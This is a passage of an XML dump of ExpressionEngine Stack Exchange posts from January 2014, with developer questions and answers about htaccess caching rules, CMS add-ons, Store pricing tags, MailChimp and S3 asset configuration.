Exists?&#xA;    RewriteCond /home/hookingr/public_html/static_page_caching/1/$2/index.html -f&#xA;&#xA;    ## Redirect to Cache File&#xA;    RewriteRule ^(index.php/*)*(.*)(/*) /static_page_caching/1/$2/index.html [L]&#xA;&#xA;## RULE #3 - Remove SPC Override Segment from URI&#xA;    RewriteRule ^(.+)/spc_override$ /$1 [L]&#xA;&#xA;&amp;lt;/IfModule&amp;gt;&#xA;##END Solspace Static Page Caching: Site #1##&#xA;&#xA;&#xA;#allow from 192.185.1.20&#xA;#deny from all&#xA;RewriteEngine On &#xA;&#xA;#RewriteCond $1 !\.(gif|jpe?g|png)$ [NC]&#xA;RewriteCond %{REQUEST_FILENAME} !\.(gif|jpe?g|png)$ [NC]&#xA;RewriteCond %{REQUEST_FILENAME} !-f &#xA;RewriteCond %{REQUEST_FILENAME} !-d &#xA;RewriteRule ^(.*)$ /index.php/$1 [L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="451" LastEditorUserId="451" LastEditDate="2014-01-28T17:05:50.667" LastActivityDate="2014-01-28T17:05:50.667" Title="search and login redirect to home page" Tags="|solspace|htaccess|redirects|cache|static|" AnswerCount="0" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="18827" PostTypeId="2" ParentId="18824" CreationDate="2014-01-28T16:02:39.777" Score="1" Body="&lt;p&gt;Check out the docs for recipients.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.solspace.com/docs/freeform/form/#recipient_user_input&quot; rel=&quot;nofollow&quot;&gt;http://www.solspace.com/docs/freeform/form/#recipient_user_input&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="884" LastActivityDate="2014-01-28T16:02:39.777" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18828" PostTypeId="2" ParentId="18696" CreationDate="2014-01-28T16:56:40.840" Score="2" Body="&lt;p&gt;check out this add-on &lt;a href=&quot;http://devot-ee.com/add-ons/mo-variables&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/mo-variables&lt;/a&gt; and it's &quot;Page Tracker&quot; variables that you can use!&lt;/p&gt;&#xA;" OwnerUserId="42" LastActivityDate="2014-01-28T16:56:40.840" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18829" PostTypeId="2" ParentId="18693" CreationDate="2014-01-28T17:18:05.693" Score="0" Body="&lt;p&gt;got it! it's all in the var_prefix'ing, on both the playa field AND the playa parents field: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;colors&quot;}&#xA;    {cf_color_price_group_playa var_prefix=&quot;group&quot;}   &#xA;        {exp:playa:parents channel=&quot;sizes&quot; entry_id=&quot;{group:entry_id}&quot; var_prefix=&quot;size&quot;} &#xA;         {size:cf_size_price search:price_group=&quot;{group:entry_id}&quot;}{size:price}{/size:cf_size_price} &#xA;        {/exp:playa:parents}&#xA;    {/cf_color_price_group_playa}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;this post helped immensely, thanks rob + jason, &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/13549/playa-parents-entry-id-using-child-ids&quot;&gt;Playa Parents entry_id using child ids&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="758" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.763" LastActivityDate="2014-01-28T20:00:18.083" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18830" PostTypeId="1" CreationDate="2014-01-28T17:23:52.977" Score="1" ViewCount="149" Body="&lt;p&gt;When using the latest release of Profile:edit (Mighty Big Robot module) I get redirected to &#xA;the homepage when any template contains the reset pass form:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:profile:reset_password return=&quot;profile/reset_confirmed&quot;}&#xA;        &amp;lt;fieldset&amp;gt;&#xA;            &amp;lt;label&amp;gt;New Password&amp;lt;/label&amp;gt;&#xA;            &amp;lt;input type=&quot;password&quot; name=&quot;password&quot; value=&quot;&quot;&amp;gt;&#xA;            &amp;lt;label&amp;gt;New Password Confirm&amp;lt;/label&amp;gt;&#xA;            &amp;lt;input type=&quot;password&quot; name=&quot;password_confirm&quot; value=&quot;&quot;&amp;gt;&#xA;            &amp;lt;input type=&quot;submit&quot; value=&quot;Submit&quot;&amp;gt;&#xA;        &amp;lt;/fieldset&amp;gt;&#xA;    {/exp:profile:reset_password}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've tested as member/admin and under clean cache/cookie situation but I can't get the loop to complete - always redirects (the URLs are definitely correct).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone there from Mighty Big Robot to help? Or another developer who's seen similar?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EE v2.7.3&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ta.&lt;/p&gt;&#xA;" OwnerUserId="778" LastEditorUserId="778" LastEditDate="2014-01-29T12:45:44.243" LastActivityDate="2014-03-30T13:04:29.653" Title="Profile:edit - exp:profile:reset_password - form redirects to index.php" Tags="|profile-edit|forgot-password|mightybigrobot|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="18831" PostTypeId="1" AcceptedAnswerId="18833" CreationDate="2014-01-28T17:26:57.493" Score="0" ViewCount="158" Body="&lt;p&gt;Why should I use a AddOn to let Members opt-in a Mailing-List managed by MailChimp, when there is a native EE-Mailing-List-Module? What are the benefits of using MailChimp instead of EEs own/native/local Mailing-List-Module?&lt;/p&gt;&#xA;" OwnerUserId="178" LastActivityDate="2014-01-29T23:29:41.550" Title="What are the benefits of MailChimp over EEs native Mailing Lists?" Tags="|mailinglist|mailchimp|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18832" PostTypeId="2" ParentId="18343" CreationDate="2014-01-28T17:37:00.660" Score="0" Body="&lt;p&gt;As far as I can tell, it can't be done. See my comment above for alternate solution.&lt;/p&gt;&#xA;" OwnerUserId="225" LastActivityDate="2014-01-28T17:37:00.660" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18833" PostTypeId="2" ParentId="18831" CreationDate="2014-01-28T17:45:56.167" Score="6" Body="&lt;p&gt;MailChimp's &lt;a href=&quot;http://mailchimp.com/features/email-delivery/&quot;&gt;Email Delivery feature page&lt;/a&gt; is essentially a list of all the things MailChimp does that EE's mailing list (which is basically a dumb interface to your server's sendmail function) does not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In short: do not rely on EE's Mailing List feature.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2014-01-28T17:45:56.167" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18834" PostTypeId="2" ParentId="18830" CreationDate="2014-01-28T18:59:12.830" Score="1" Body="&lt;p&gt;I've been working on a EE 2.7.0 site that uses the latest Profile:edit and has this password reset form, and I've &lt;strong&gt;never&lt;/strong&gt; seen the issue you're describing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If this were happening on just one page, I'd say that it sounds like maybe you have EE access restrictions set on your Reset Password page, with the restriction's &quot;unauthorized&quot; redirect pointing to the site homepage. Have you checked for this in the EE Template Manager?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it's happening on multiple pages, and on pages with no EE access restrictions, then I don't know what's up -- again, I've never seen this issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;updated: added the EE version.&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="1900" LastEditorUserId="1900" LastEditDate="2014-01-29T01:23:35.053" LastActivityDate="2014-01-29T01:23:35.053" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="18835" PostTypeId="1" AcceptedAnswerId="18876" CreationDate="2014-01-28T19:15:43.787" Score="0" ViewCount="107" Body="&lt;p&gt;I have moved embed code to be a snippet. After that move no_results stopped to work (part of the code below)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;products&quot; category=&quot;{segment_2_category_id}&quot; orderby=&quot;title&quot; sort=&quot;asc&quot; limit=&quot;8&quot; paginate=&quot;bottom&quot; dynamic=&quot;no&quot;}&#xA;&#xA;            {if no_results}&#xA;                    &amp;lt;div class=&quot;&quot;&amp;gt;&amp;lt;p&amp;gt;No entries yet.&amp;lt;/p&amp;gt;&amp;lt;/div&amp;gt;&#xA;                {/if}&#xA;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any clue why it has stopped?&lt;/p&gt;&#xA;" OwnerUserId="1577" LastEditorUserId="1577" LastEditDate="2014-01-29T15:50:51.670" LastActivityDate="2014-01-29T15:50:51.670" Title="no_results not working when moved to snippet" Tags="|switchee|snippets|no-results|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="18836" PostTypeId="1" AcceptedAnswerId="18859" CreationDate="2014-01-28T19:16:57.150" Score="0" ViewCount="99" Body="&lt;p&gt;I am working on a ExpressionEngine site with a lot of preexisting content in many MSM sites. Due to the need to put upload files into Amazon's S3 storage service, I am migrating all of file fields and Wygwam content to Pixel &amp;amp; Tonic Assets. I am using Focus Lab's Master Config.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have added to the master config file the configuration variable mentioned in Asset's documentation:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$env_config['assets_source_settings'] = array(&#xA;&#xA;    1 =&amp;gt; array(&#xA;    'access_key_id'     =&amp;gt; $s3_key,&#xA;    'secret_access_key' =&amp;gt; $s3_secret,&#xA;    'bucket'            =&amp;gt; $s3_bucket,&#xA;    'url_prefix'        =&amp;gt; $s3_prefix,&#xA;    'subfolder'         =&amp;gt; '/files/images/general/',&#xA;    ),&#xA;&#xA;    ...&#xA;&#xA;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However when I go to the external sources page for Assets in the control panel, I do not see any of the sources listed. I can successfully use the same credentials and values by manually adding them, but I would prefer to use the configuration file instead as there are 11 sites to replicate across and quite a few upload locations.&lt;/p&gt;&#xA;" OwnerUserId="955" LastActivityDate="2014-01-29T09:22:54.963" Title="Can I specify external upload locations in Assets with MSM via configuration file?" Tags="|assets|multi-site-manager|focus-lab-master-config|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18837" PostTypeId="1" AcceptedAnswerId="18846" CreationDate="2014-01-28T19:33:39.383" Score="1" ViewCount="106" Body="&lt;p&gt;Is there any opportunity with Importer to remove records that didn't get updated in the last X time frame?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I understand the scope of the product is to just pump in records, but I'm having a real issue where my imported records have a &quot;shelf life&quot; and if I could simply tell it to remove any records from the channel that hasn't been updated in X time frame, it would make my life a lot easier (read: get the client off my back :P ).&lt;/p&gt;&#xA;" OwnerUserId="2589" LastActivityDate="2016-04-20T16:32:31.003" Title="Delete records that were not updated" Tags="|solspace-importer|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18838" PostTypeId="2" ParentId="18668" CreationDate="2014-01-28T20:06:16.233" Score="2" Body="&lt;p&gt;Per the comments: It sounds like a missing email address was the source of the problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;order_email&lt;/code&gt; is always a required field in Store to submit orders. Therefore, if you ask for customers to enter &lt;code&gt;order_email&lt;/code&gt; on a different page of the checkout, you should always make it required there (by specifying &lt;code&gt;require=&quot;order_email&quot; in the checkout tag)&lt;/code&gt;. Otherwise there will be a validation error when they finally try to &quot;submit&quot; the order.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In general, if the checkout is refreshing without anything happening, it is usually a validation error. The first step is to remove &lt;code&gt;error_handling=&quot;inline&quot;&lt;/code&gt; from your checkout tag to see if there are any errors not being displayed correctly.&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2014-01-28T20:06:16.233" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18839" PostTypeId="1" AcceptedAnswerId="18843" CreationDate="2014-01-28T20:09:41.500" Score="0" ViewCount="107" Body="&lt;p&gt;I am not sure what I am doing wrong, but with the following code I am having issues in pulling the 'price' information. see tags towards the end of the code: &amp;pound;{price}&lt;/p&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At the moment all the correct images and &lt;h3&gt;{related_products:product_manufacturer}&lt;/h3&gt;&#xA;{related_products:short_description} are showing correctly. However the price pulls out the same price for each item, when it should show the correct price for each item, not the same price!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The 'Price' tag is pulled from exp-resso store. And I think this is where the issue is. Could any one help?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you kindly in advance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The code I'm using below:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;&amp;lt;section class=&amp;quot;related&amp;quot;&amp;gt; &amp;lt;!-- start section --&amp;gt;&#xA;    &amp;lt;div class=&amp;quot;container&amp;quot;&amp;gt; &amp;lt;!-- start .wrap --&amp;gt;&#xA;        &amp;lt;h3 class=&amp;quot;upper&amp;quot;&amp;gt;You may also like&amp;lt;/h3&amp;gt;&#xA;        &amp;lt;div class=&amp;quot;row&amp;quot;&amp;gt;&#xA;            &amp;lt;ul class=&amp;quot;list-unstyled&amp;quot;&amp;gt;&#xA;                {exp:channel:entries channel=&amp;quot;store&amp;quot; status=&amp;quot;open|featured&amp;quot; limit=&amp;quot;3&amp;quot;}&#xA;                    {related_products}&#xA;                        {exp:store:product entry_id=&amp;quot;{entry_id}&amp;quot;}&#xA;                            &amp;lt;li class=&amp;quot;col-md-4 product&amp;quot;&amp;gt; &amp;lt;!-- start .span4 --&amp;gt;&#xA;                                &amp;lt;a href=&amp;quot;{path=&amp;quot;store/detail&amp;quot;}/{related_products:url_title}&amp;quot;&amp;gt;&#xA;                                    {exp:channel_images:images entry_id=&amp;quot;{related_products:entry_id}&amp;quot; field=&amp;quot;product_image_one&amp;quot;}&#xA;                                        &amp;lt;img src=&amp;quot;{image:url}&amp;quot; title=&amp;quot;{related_products:title}&amp;quot; alt=&amp;quot;{related_products:title}&amp;quot; /&amp;gt;&#xA;                                    {/exp:channel_images:images} &#xA;                                    &amp;lt;div class=&amp;quot;overlay&amp;quot;&amp;gt; &amp;lt;!-- start overlay --&amp;gt;&#xA;                                        &amp;lt;h3&amp;gt;{related_products:product_manufacturer}&amp;lt;/h3&amp;gt;&#xA;                                        &amp;lt;h4&amp;gt;{related_products:short_description}&amp;lt;/h4&amp;gt;&#xA;                                        &amp;lt;p class=&amp;quot;price&amp;quot;&amp;gt;&amp;amp;pound;{price}&amp;lt;/p&amp;gt;&#xA;                                    &amp;lt;/div&amp;gt;&#xA;                        {/exp:store:product}&#xA;                                &amp;lt;/a&amp;gt;&#xA;                            &amp;lt;/li&amp;gt;&#xA;                    {/related_products}&#xA;                {/exp:channel:entries}&#xA;            &amp;lt;/ul&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&amp;lt;/section&amp;gt;&#xA;&lt;/pre&gt;&#xA;" OwnerUserId="1650" LastEditorUserId="1872" LastEditDate="2014-01-29T01:24:33.450" LastActivityDate="2014-01-29T01:24:33.450" Title="Retrieve an exp-resso store value from a Store field within an EE relationship" Tags="|expresso-store|relationships|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18840" PostTypeId="2" ParentId="18717" CreationDate="2014-01-28T20:13:01.913" Score="1" Body="&lt;p&gt;Another option rather than specifying the individual html fields is simply to output the whole Store Product Details field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assuming your custom field is named &lt;code&gt;product_details&lt;/code&gt;, it would look like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:form channel=&quot;products&quot; entry_id=&quot;{segment_3}&quot;}&#xA;&#xA;    {field:product_details}&#xA;&#xA;{/exp:channel:form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="150" LastActivityDate="2014-01-28T20:13:01.913" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18841" PostTypeId="1" AcceptedAnswerId="19090" CreationDate="2014-01-28T20:46:13.870" Score="1" ViewCount="29" Body="&lt;p&gt;I'm trying to check if Expression engine is the correct product for a new project. I received the request from a customer to build a portal for a sporting association. This company organizes activities for a lot of different sports. Each of these sports have their dedicated content page(s) (with submenu). Each of these sports also has dedicated content editor(s) meaning which don't have access to the other sports. Each sports section should also have a dedicated agenda.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The main site will also have content moderators and a dedicated agenda for overall activities.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could you advice me if Expression Engine is the correct product. Are their other alternatives? I need to be able to manage the security vary granular, common components in templates should not be modified by lower level moderators, etc...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks, Eric&lt;/p&gt;&#xA;" OwnerUserId="2669" LastActivityDate="2014-02-04T19:45:07.147" Title="Pre-Sales: multiple content moderators and security" Tags="|php|general-knowledge|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18842" PostTypeId="1" AcceptedAnswerId="18855" CreationDate="2014-01-28T21:52:55.270" Score="1" ViewCount="260" Body="&lt;p&gt;I am using a hybrid system that is an ExpressionEngine CMS, which is build with CodeIgniter, and Magento as a store &quot;off to the side&quot; and working together.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We cannot upgrade the existing installation because the contractor that initially built the system did some very weird stuff to the core code that keeps us from upgrading so I am looking to start fresh.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I installed Magento Community 1.8.1 alongside EE 2.7.2.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I wrote a plugin for EE that gets the cart info and the logged in user info but when using the plugin, I get the error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Cannot redeclare now() (previously declared in \codeigniter\system\helpers\date_helper.php:40) in \store\app\code\core\Mage\Core\functions.php on line 123&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How do I circumvent this without modifying core code on either system? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also receive errors in other files because it is declared in them as well, such as \store\app\code\core\Mage\Admin\Resource\User.php; I get this one when attempting to login to the BO.&lt;/p&gt;&#xA;" OwnerUserId="1725" LastActivityDate="2014-03-31T15:42:14.977" Title="now() function redeclared" Tags="|codeigniter|magento|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="18843" PostTypeId="2" ParentId="18839" CreationDate="2014-01-28T21:54:39.760" Score="2" Body="&lt;p&gt;You're using entry_id in the store tag and not the related entry_id. Try this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;{exp:store:product entry_id=&quot;{related_products:entry_id}&quot;}&lt;/p&gt;&#xA;" OwnerUserId="2003" LastActivityDate="2014-01-28T21:54:39.760" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18844" PostTypeId="1" AcceptedAnswerId="18940" CreationDate="2014-01-28T21:59:55.570" Score="1" ViewCount="134" Body="&lt;p&gt;I read a lot the old forums of Cartthrob and here... Didn't find something to help me understand exactly how Hardcoded option work...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm trying to create what you can see in the capture screen that I just post..&#xA;All my html is done.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div id=&quot;piping_color0&quot; class=&quot;color_swatch&quot; style=&quot;background:#FFFFFF; border:1px solid #ccc;&quot;  onclick=&quot;javascript:ApplyBindingColor(169); setBorder(0,23,'binding'); makerequest();&quot;&amp;gt;&amp;lt;img src=&quot;images/colorblk.png&quot; alt=&quot;White&quot; title=&quot;White&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But I can't figure out how to create the script for the hardcoded option... I you can juste tell me  some idea ou link me some post or article that you know that can help me i will very apperciate :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thx Guys!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: Here some new developpement from my part!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I menage to use Matrix to create all the Entry; option_value, option_name color_code and Price. Now my problem is when i'm putting the code together i have a error when I reload my page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Parse error: syntax error, unexpected 'endif' (T_ENDIF) in /home/hakounan/public_html/clients/ogilvy/system/expressionengine/libraries/Functions.php(680) : eval()'d code on line 1585&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:cartthrob:item_options entry_id=&quot;{entry_id}&quot; row_id=&quot;{row_id}&quot;}&#xA;    {options}       &#xA;    {if selected}&#xA;    {option_label}: {option_name}&amp;lt;br /&amp;gt;&#xA;&#xA;        {exp:channel:entries channel=&quot;products&quot; dynamic=&quot;no&quot;}&#xA;            {binding}&#xA;                &amp;lt;div id=&quot;{option_value}&quot; class=&quot;color_swatch&quot; style=&quot;background:#{color_code}; border:1px solid #ccc;&quot;  onclick=&quot;javascript:ApplyBodyColor(187); setBorder(0,7,'body'); makerequest();&quot;&amp;gt;&amp;lt;img src=&quot;{site_url}assets/images/colorblk.png&quot; alt=&quot;{option_value}&quot; title=&quot;{option_name}&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;            {/binding}&#xA;        {/exp:channel:entries}&#xA;    {/if}    &#xA;    {/options}  &#xA;{/exp:cartthrob:item_options}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/GDAv7.png&quot; alt=&quot;Piping option for Hardcoded Cartthrob Option..&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2668" LastEditorUserId="2668" LastEditDate="2014-01-31T00:27:59.843" LastActivityDate="2014-01-31T01:19:38.643" Title="New at Cartthrob and trying to Hardcode some option" Tags="|ee2|cartthrob|ecommerce|shopping-cart|" AnswerCount="1" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18845" PostTypeId="2" ParentId="18831" CreationDate="2014-01-28T22:15:37.037" Score="1" Body="&lt;p&gt;MailChimp give you a lot of option and stats on your mail!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can see the % of people that open it and track them with your google analytic.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can easily customize the design of the email your sending to get your members attention!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you use EE's mailing list feature you have more chance of getting your Server IP banned if you get report for mail spamming.. That not nice!&lt;/p&gt;&#xA;" OwnerUserId="2668" LastActivityDate="2014-01-28T22:15:37.037" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18846" PostTypeId="2" ParentId="18837" CreationDate="2014-01-28T22:28:11.163" Score="4" Body="&lt;p&gt;I had similar needs some time ago and importer may have changed but it wasn't possible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I ended up doing was adding an expiry time to the data imported like today + 24 hours then mapping that to the expiry field. The cron runs every day and if an entry isn't included it will simply expire meaning it won't be available.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has worked flawlessly for a couple of years now.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE:&lt;/strong&gt;&#xA;The site imports data daily. The data is supplied via customers database. We use Importer from solspace to call on that data and if it finds a record that existed we use the new expiry date within the data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So lets say we have 2 entries in EE like&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;-- Entry01, Some field, some other field, Expiry date (today+24 hours)&#xA;-- Entry02, Some field, some other field, Expiry date (today+24 hours)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When Importer runs the next day (the data has been updated at their end) the only entry that still exists is 'Entry01' - So within EE 'Entry01' will be updated inc. new expiry date but 'Entry02' wasn't updated in the import so it will naturally expire.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is all based on a daily import, it could easily be weekly, monthly or whatever – the key is setting the expiry date when you import the data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;CRON is a server side behaviour that runs a particular command at any given interval. Importer gives you the code for the CRON to use, you then set the timing in the CRON and off it goes.&lt;/p&gt;&#xA;" OwnerUserId="166" LastEditorUserId="166" LastEditDate="2014-01-29T05:51:49.260" LastActivityDate="2014-01-29T05:51:49.260" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="18848" PostTypeId="2" ParentId="1881" CreationDate="2014-01-28T23:38:03.980" Score="0" Body="&lt;p&gt;Sorry it is late.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You dont really have to worry what are the tags since EE is really restricted with those pages&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Simply edit files in&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;themes/profile_themes/default/reset_password_form.html&lt;/code&gt;&#xA;&lt;code&gt;themes/profile_themes/default/html_header.html&lt;/code&gt; (If you want it to look pretty)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was in the same boat with you.&lt;/p&gt;&#xA;" OwnerUserId="1350" LastActivityDate="2014-01-28T23:38:03.980" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18849" PostTypeId="1" CreationDate="2014-01-28T23:38:13.543" Score="0" ViewCount="56" Body="&lt;p&gt;I have a site setup which works, I have basically copied it across because I need to duplicate it and change content.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using Structure module, but any content I add it goes to a 404 page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there anything I can show to help find out the problem to this.  Driving me mad because I can't think what I've missed.&lt;/p&gt;&#xA;" OwnerUserId="1063" LastActivityDate="2014-01-28T23:38:13.543" Title="Entries going to 404 pages" Tags="|entries|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18850" PostTypeId="1" CreationDate="2014-01-28T23:51:35.377" Score="1" ViewCount="76" Body="&lt;p&gt;What would cause a comment to NOT show on the front end when I can see it in the EE control panel?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;No errors at all.&#xA;Guest can post entries, snaptcha is installed and email isnt required.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;site is running on EE 2.5.5, MSM 2.1.3 and using Threaded Comments 2.4.7 (&lt;a href=&quot;http://dvt.ee/adfZh09&quot; rel=&quot;nofollow&quot;&gt;http://dvt.ee/adfZh09&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Have experienced this issue before switching to Threaded Comments with just the native EE comment form and after the switch.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also experiencing the same comment repeated 2 or 3 times in CP but only one showing on the front end.&lt;/p&gt;&#xA;" OwnerUserId="31" LastEditorUserId="932" LastEditDate="2014-01-29T10:34:11.777" LastActivityDate="2014-01-29T10:34:11.777" Title="Comment not showing on front end" Tags="|comments|comment-form|threaded-comments|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18851" PostTypeId="1" AcceptedAnswerId="19003" CreationDate="2014-01-29T01:49:29.967" Score="1" ViewCount="73" Body="&lt;p&gt;Not sure if this was addressed before but when I was using Store 1.6 with Authorize.net if a person failed to put a last name they would get an error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After upgrading to Store 2.x it was necessary to split the &lt;code&gt;billing_name&lt;/code&gt; form field into separate First and Last name fields.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't recall if this was because the last name was simply no longer required somehow (so no error with just one word submitted) or it if was somehow slipping through, but it just made more sense to use First/Last names separately now that they're split in the Order itself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At the time this was a pretty big problem for us as we really needed the customers' last names. Several people were able to purchase with providing only a first name. I am not sure if this problem exists for other gateways and the transition from 1.6.x to 2.x. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;edit for clarity:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In Store 1.6.x w/ Authorize.net:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;One billing name field, last name is required with only &lt;code&gt;require=&quot;billing_name&quot;&lt;/code&gt;, user gets an error if submitting checkout form without a second name ( &lt;code&gt;{error:payment_method}&lt;/code&gt; would read &lt;code&gt;The Last Name field is required.&lt;/code&gt; which to me suggests it's from the gateway.)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;In Store 2.x w/ Authorize.net:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;One billing name field, order goes through with only one name despite being same form with &lt;code&gt;require=&quot;billing_name...&quot;&lt;/code&gt;. Last name is no longer required.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;We didn't change anything on our merchant account. What went wrong? Was Store 1.6.x's error really from Authorize.net? If so, why doesn't it appear in Store 2.x? If not, why did it disappear in Store 2.x without any notice in the docs? &lt;/p&gt;&#xA;" OwnerUserId="61" LastEditorUserId="61" LastEditDate="2014-02-01T02:01:38.277" LastActivityDate="2014-02-01T03:29:56.263" Title="Exp:resso Store 2.x doesn't force/retain Last Name from single billing_name field for Authorize.net AIM" 